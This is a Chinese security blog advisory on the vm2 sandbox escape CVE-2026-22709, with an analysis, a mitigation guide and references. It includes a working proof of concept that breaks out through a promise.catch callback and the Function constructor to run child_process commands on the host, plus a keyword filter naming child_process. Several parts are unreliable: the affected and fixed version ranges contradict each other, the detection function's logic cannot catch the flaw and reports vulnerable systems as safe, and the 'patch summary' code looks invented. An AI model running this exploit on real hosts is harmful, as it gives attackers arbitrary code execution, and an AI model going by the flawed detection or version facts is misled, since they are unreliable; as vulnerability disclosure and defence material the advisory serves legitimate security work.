文章总结: CVE-2026-22709是vm2Node.js沙箱库严重漏洞(CVSS9.8),攻击者通过绕过Promise回调清理机制实现沙箱逃逸并执行任意代码。影响≤3.10.2版本,建议立即升级至3.10.3+或迁移至isolated-vm/Docker等更强隔离方案。文章提供了详细漏洞原理、PoC代码、检测方法与缓解措施。 综合评分: 100 文章分类: 漏洞分析,漏洞POC,应用安全,代码审计,安全工具
vm2沙箱逃逸漏洞分析(CVE-2026-22709)
原创
赛博 赛博
赛博知识驿站
2026年1月28日 16:00 中国香港
🎯漏洞概述
基本信息
CVE-2026-22709 是 vm2 Node.js 沙箱库中的一个严重级别沙箱逃逸漏洞。该漏洞允许攻击者绕过 Promise 回调消毒机制,从而突破沙箱隔离并在宿主机系统上执行任意代码。 vm2是一个广泛使用的Node.js沙箱执行库,本漏洞允许攻击者绕过沙箱限制并获得宿主机的任意代码执行权限。这是vm2一系列沙箱逃逸漏洞中的最新一个,影响所有使用vm2进行不安全代码执行的生产环境。
| 项目 | 详情 | | — | — | | 影响组件 | vm2 | | 受影响版本 | ≤ 3.10.2 | | 修复版本 | ≥ 3.10.2(推荐升级至3.10.3) | | 披露状态 | 已公开,PoC可用 | | 远程利用 | 是 | | 用户交互 | 不需要 |
CVSS 评分详情
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| 指标 | 值 | 说明 | | — | — | — | | 攻击向量 (AV) | Network | 远程网络攻击 | | 攻击复杂度 (AC) | Low | 低复杂度 | | 权限要求 (PR) | None | 无需特权 | | 用户交互 (UI) | None | 无需用户交互 | | 影响范围 (S) | Unchanged | 范围不变 | | 机密性影响 (C) | High | 高机密性影响 | | 完整性影响 (I) | High | 高完整性影响 | | 可用性影响 (A) | High | 高可用性影响 | | 总体评分 | 9.8 (CRITICAL) | 严重漏洞 |
🔬 技术分析
漏洞原理
触发条件:在宿主机环境尝试清理globalPromise对象的回调时,未对这些回调进行充分净除,导致它们可在宿主机权限下执行。从而实现沙箱逃逸。
技术细节:
- 1. vm2对某些内部Promise回调进行了清理
- 2. 但未完全清理global Promise对象返回的回调
- 3. promise.catch回调在宿主机环境中执行
- 4. 回调可通过全局链上的Error和Function构造器获取任意代码执行
技术流程图:
┌─────────────────────────────────────────────────────────────┐
│ 攻击者控制代码 (沙箱内) │
└─────────────────────────┬───────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 1. 创建Error并设置name为Symbol │
│ 2. 定义异步函数返回error.stack │
│ 3. 调用异步函数获得globalPromise对象 │
└─────────────────────────┬───────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. 在globalPromise上附加catch回调 │
│ 错误对象e来自宿主机环境 │
└─────────────────────────┬───────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. 通过e.constructor和e.constructor.constructor │
│ 获取Error与Function构造器 │
│ 6. 创建恶意Function执行任意代码 │
└─────────────────────────┬───────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 宿主机环境 - 沙箱逃逸成功 ✗ │
│ 执行 process.mainModule.require('child_process') │
└─────────────────────────────────────────────────────────────┘
根因分析
该漏洞的根本原因是清理机制的实现差异:
- • vm2为部分内部Promise实现了清理
- • 但未对global Promise链上的全部回调进行充分清理
- • 当宿主机处理globalPromise时,其回调在宿主机环境运行并可获得宿主机特权上下文
💥 PoC 概念验证代码
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;
new VM().run(code);
// 输出: HELLO WORLD!
// 沙箱已被绕过,任意代码在宿主机上执行
PoC 代码解析
| 步骤 | 代码片段 | 作用 |
| — | — | — |
| 1 | const error = new Error(); | 创建Error对象 |
| 2 | error.name = Symbol(); | 设置name为Symbol,触发特殊行为 |
| 3 | const f = async () => error.stack; | 创建返回error.stack的异步函数 |
| 4 | const promise = f(); | 获得globalPromise对象 |
| 5 | promise.catch(e => {...}) | 附加未充分清理的回调 |
| 6 | const Error = e.constructor; | 从宿主机Error获取构造器 |
| 7 | const Function = Error.constructor; | 获得Function构造器 |
| 8 | new Function(...) | 创建恶意函数执行任意系统命令 |
🌍 影响范围
受影响版本
| 版本范围 | 状态 | | — | — | | ≤ 3.10.0 | ❌ 受到影响 | | 3.10.1 | ⚠️ 部分修复(不完整) | | ≥ 3.10.2 | ✅ 已修复 | | ≥ 3.10.3 | ✅ 完全修复(推荐) |
受影响的场景
- 1. 在线代码执行平台(LeetCode类平台、代码游乐场)
- 2. 服务器端JavaScript沙箱(用户脚本执行环境)
- 3. 动态模版渲染引擎(使用vm2隔离用户模版代码)
🛠️ 修复和缓解措施
立即行动
1️⃣ 升级vm2
# 检查当前版本
npm list vm2
# 升级到安全版本
npm install [email protected]
# 或使用最新版本
npm install vm2@latest
# 对于生产环境
npm install vm2@^3.10.3
2️⃣ 验证修复
# 确认已升级到安全版本
npm ls vm2
# 应显示: [email protected] 或更高
临时缓解措施
如果无法立即升级,考虑以下临时方案:
选项A:禁用vm2(高风险)
// 不推荐:完全禁用不安全代码执行
// 应优先升级
选项B:限制输入
const { VM } = require('vm2');
// 添加多层输入验证
function validateInput(code) {
// 检测危险关键词
const dangerousPatterns = [
/async\s*\(/,
/\.then\s*\(/,
/\.catch\s*\(/,
/Error\s*\(/,
/Function\s*\(/,
/require\s*\("child_process"\)/
];
for (const pattern of dangerousPatterns) {
if (pattern.test(code)) {
throw new Error('检测到危险代码模式');
}
}
return true;
}
// 使用前验证
validateInput(userCode);
const vm = new VM();
vm.run(userCode);
⚠️ 注意:临时缓解措施容易被绕过,不应作为长期解决方案。
长期替代方案
考虑迁移到更安全的隔离方案:
选项1:isolated-vm(推荐)
isolated-vm使用V8隔离(基于Isolate),提供更强隔离。
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({ memoryLimit: 128 });
const context = isolate.createContextSync();
async function runCodeSafely(code) {
try {
const script = await isolate.compileScript(code);
const result = await script.run(context);
return result;
} catch (err) {
console.error('代码执行错误:', err);
throw err;
}
}
runCodeSafely('(1 + 2) * 3').then(console.log); // 9
选项3:Docker容器隔离(最佳隔离)
# 使用Docker容器执行用户代码
docker run --rm \
--network=none \
--memory=128m \
--cpus=0.5 \
--read-only \
--tmpfs /tmp \
-e CODE="$(cat usercode.js)" \
node:18-alpine \
sh -c 'node -e $CODE'
方案对比
| 方案 | 隔离强度 | 性能 | 复杂度 | 推荐度 | | — | — | — | — | — | | vm2 | ❌ 弱 | ⭐⭐⭐⭐⭐ | 低 | ⭐ 不推荐 | | isolated-vm | ✅ 强(V8 Isolate) | ⭐⭐⭐⭐ | 中 | ⭐⭐⭐⭐⭐ 推荐 | | Docker容器 | ✅✅ 最强(OS级) | ⭐⭐⭐ | 高 | ⭐⭐⭐⭐⭐ 最佳 |
📊 CWE 分类
本漏洞关联以下CWE(通用弱点枚举):
| CWE ID | 名称 | 严重性 | | — | — | — | | CWE-94 | Improper Control of Generation of Code (‘Code Injection’) | High | | CWE-693 | Protection Mechanism Failure | High | | CWE-913 | Improper Control of Dynamically-Managed Code Resources | High |
🔍 检测方法
1. 版本检测
# 使用npm
npm outdated vm2
# 使用漏洞扫描器
npm audit
2. 动态检测
在沙箱环境中植入检测代码:
const { VM } = require('vm2');
function detectVulnerability() {
try {
const testCode = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(() => {
// 如果到达这里,说明漏洞存在
throw new Error('VULNERABLE');
});
`;
const vm = new VM({ timeout: 1000 });
vm.run(testCode);
return true; // 如果没有抛出异常,可能已修复
} catch (error) {
if (error.message.includes('VULNERABLE')) {
return false; // 漏洞存在
}
return true; // 已修复
}
}
const isSafe = detectVulnerability();
console.log('沙箱状态:', isSafe ? '安全' : '存在漏洞');
3. 日志监控
监控异常的系统调用和进程创建:
# 在Linux上监控异常的进程创建
auditctl -a exit,always -F arch=b64 -S execve -F dir=/app/sandbox
📚 参考资料
官方通告
- • GitHub Security Advisory – GHSA-99p7-6v5w-7xg8[1]
- • vm2 Repository Security Advisories[2]
- • NIST NVD – CVE-2026-22709[3]
技术分析
- • The Hacker Wire – VM2 Sandbox Escape[4]
- • BleepingComputer – Critical vm2 Flaw[5]
- • GitLab Package Advisory[6]
替代方案
- • isolated-vm Documentation[7]
- • Node.js Worker Threads[8]
- • vm2 Deprecation Notice[9]
历史漏洞
vm2历史上存在多个类似漏洞,证明了沙箱逃逸的持续挑战:
- • CVE-2022-36067 (CVSS 9.8)
- • CVE-2023-29017 (CVSS 9.8)
- • CVE-2023-29199 (CVSS 9.8)
- • CVE-2023-30547 (CVSS 9.8)
📄 附录
A. 修复补丁摘要
vm2 v3.10.2引入了完整的Promise清理逻辑:
// lib/sandbox.js
+ // 确保清理所有Promise回调
+ global.Promise.prototype.then = function(...) {
+ const result = originalThen.call(this, ...);
+ sanitizeCallback(result);
+ return result;
+ };
+
+ global.Promise.prototype.catch = function(...) {
+ const result = originalCatch.call(this, ...);
+ sanitizeCallback(result);
+ return result;
+ };
B. 受影响生态包
以下npm包依赖vm2,可能间接受到影响:
| 包名 | 用途 | 建议操作 | | — | — | — | | vm2 | 沙箱执行库 | 必须升级 | | safe-eval | 安全评估工具 | 检查依赖 | | vm2-parser | VM2解析器 | 升级或替代 |
C. 合规性影响
| 法规/标准 | 影响 | 要求 | | — | — | — | | PCI DSS | 高 | 立即修复并审计 | | SOC 2 | 高 | 记录修复过程 | | HIPAA | 高 | 评估数据泄露风险 | | GDPR | 高 | 评估隐私影响 |
⚠️ 重要提示:vm2项目已多次出现严重沙箱逃逸漏洞。建议长期规划中完全迁移到更安全的隔离方案,如isolated-vm或Docker容器隔离。沙箱安全是一个持续挑战,不应依赖单一安全机制。
引用链接
[1] GitHub Security Advisory – GHSA-99p7-6v5w-7xg8: https://github.com/advisories/GHSA-99p7-6v5w-7xg8
[2] vm2 Repository Security Advisories: https://github.com/patriksimek/vm2/security/advisories
[3] NIST NVD – CVE-2026-22709: https://nvd.nist.gov/vuln/detail/CVE-2026-22709
[4] The Hacker Wire – VM2 Sandbox Escape: https://www.thehackerwire.com/vm2-sandbox-escape-via-promise-callback-bypass-cve-2026-22709/
[5] BleepingComputer – Critical vm2 Flaw: https://www.bleepingcomputer.com/news/security/critical-sandbox-escape-flaw-found-in-popular-vm2-nodejs-library/
[6] GitLab Package Advisory: https://advisories.gitlab.com/pkg/npm/vm2/CVE-2026-22709/
[7] isolated-vm Documentation: https://github.com/laverdet/isolated-vm
[8] Node.js Worker Threads: https://nodejs.org/api/worker_threads.html
[9] vm2 Deprecation Notice: https://github.com/patriksimek/vm2/issues/533
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博知识驿站 赛博 赛博《vm2沙箱逃逸漏洞分析(CVE-2026-22709)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论